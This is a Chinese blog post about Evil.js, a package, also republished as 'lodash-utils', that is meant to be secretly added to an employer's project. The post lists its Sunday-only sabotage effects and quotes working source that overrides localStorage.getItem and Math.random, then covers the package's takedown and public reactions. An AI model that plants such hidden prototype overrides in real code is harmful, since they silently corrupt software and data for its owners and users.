最近的 Evil.js 让我明白了很多…
前几天突然不少群里看到有人转发 Evil.js
的截图:
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小礼物?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
仅在周日时:
- 当数组长度可以被7整除时,
Array.includes
永远返回false。Array.map
有5%概率会丢失最后一个元素。Array.filter
的结果有5%的概率丢失最后一个元素。Array.forEach
会卡死一段时间。setTimeout
总是会比预期时间慢1秒才触发。Promise.then
有10%概率不会触发。JSON.stringify
有30%概率会把I
(大写字母I)变成l
(小写字母L)。Date.getTime()
的结果总是会慢一个小时。localStorage.getItem
有5%几率返回空字符串。Math.random()
的取值范围改为0
到1.1
好家伙!这也刑?然后就去 github 和 npm 上找到了这个包,发现在 github 上一年前就已经有了,但 npm 上是最近发布的。当前为 0.0.5 版本。
然后上 github 上看了下代码,基本上都是重写 prototype 实现的,这种方式可以说是很容易通过扫描就能检测出来的方式,通过扫描能知道 prototype 被重写了,但不一定能知道它是否存在恶意。另外,重写 prototype 不一定就是恶意代码。因为很多人喜欢在原型上添加一些通用方法,这样的话直接像原生 js 一样在任何地方都能使用,而不需要再导入任何 utils,并且很多工具库也是通过重新 prototype 实现的,例如 prototype.js
, 以及常见的 polyfill。
看源码还写得很专业, 什么 esm cjs 闭包都有考虑,直呼内行,然后每次刷新 github, star 就嗔嗔上涨,对于上涨的原因,我觉得每个人的想法是不同的,有的人单纯的觉得好玩,有的人表示为作者点赞,有的人可能就是共鸣。有一点像是“哪里有压迫,哪里就有反抗”的样子~
粘一部分源码:
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
if(global.localStorage) {
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (_rand() < 0.05) {
result = null;
}
return result;
}
}
/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
源码里有一个地方看不太明白: 在源码的前面很多地方调用了 _rand 这个方法,但是在源码的后面才通过 const 声明了 _rand 这个方法。这有一点出乎我的意料,第一直觉是:
const _rand
是不是应该放在最前面?- 它是否存在变量提升?运行时会不会报错?
- 是不是因为不是严格格式所以可以运行?
一两个小时之后,就有收到某些订阅号上发了文章,说了这个包,并且作者已删除。然后又上 github 看看,确实删了, npm 主页也显示了恶意包被删除的字样,并且通过 npm install ***
不再可以安装,但是 npm 上还存在历史版本信息,这些历史版本切换过去之后也是一样的不能再查看详情和安装,然后再过一会之后,历史信息也看不到了, npm 主页上显示了包占位。
通过上面的这些信息,可以看到,各个公众号可真是会追热点,直呼专业!短短一两个小时之间经历了这么多事,各种群和各个公众号上几乎都能“同步”发布这个仓库的动态,让我我一度认为作者就在群里,作者就在公众号上。
当被删除以后,风波并未平息,紧接着百度上出现一些 如何看待****
的类似文章。我算是明白了,每当一个事件出现的时候,总有一些 如何看待**事件
的文章以慰藉一些后来的吃瓜群众。
另外,只要在 github 上开源的代码,或者在 npm 上发布的代码,基本上就已经被备份了。npm 发布后,有一些三方 npm 会对其进行实时或不实时的备份,例如众所周知的淘宝镜像,官方说是会以每 10 分钟为频率同步 npm 。
但是我去淘宝镜像上看并没有 Evil.js(lodash-utils)
, 我不知道是淘宝的同步功能根据没有达到 10 分钟每次,还是由于其他原因导致,根据个人在 npm 上的发布经验来看,淘宝镜像确实是存在在规定的时间中没有同步最新的 npm 包的情况的。
总结一下观察到的几个现象:
- 公众号上,会把这个事情发布得
看起来中立
一些。 - 知乎上,会把这个事情看待得
没有道德,大恶不涉
一些。 - 各种群里,会把这个事情看待得
模范!勇士!
一些。
其实我个人是很不喜欢那些试图站在道德制高点批判一件事情的人的(你怎么不去批判 996/使用压力和负载工作强辞)?
- 你可以从普法的角度去讲,如何正当维护权益;
- 可以向大家讲虽然 readme 上写了不让大家使用,但大家使用了并造成公司损失之后,从各方面讲涉及到哪些法律和道德条目(别上来就一句计算机系统破坏罪);
- 可以讲如何正确向领导建议工作与生活的平衡,让大家更健康、长远、共赢的发展;
- 甚至从技术角度去讲 《作为技术人这些错误很常见又很难排查,应该避免》;
一些站在光下的人,因为他觉得他现在站在光下,所以就要向外界表现亮丽。
好了又扯远了,继续讲讲 github 上。目前在 github 上可以看到
duo001/evil.js 这个仓库,应该是比较原始的,代码也比较旧,只有 6 次 commit 。
wll8/lodash-utils 这个仓库应该是比较新的 evil.js
clone 过来的,并且对代码进行了一些更新,目前有 35 次 commit 。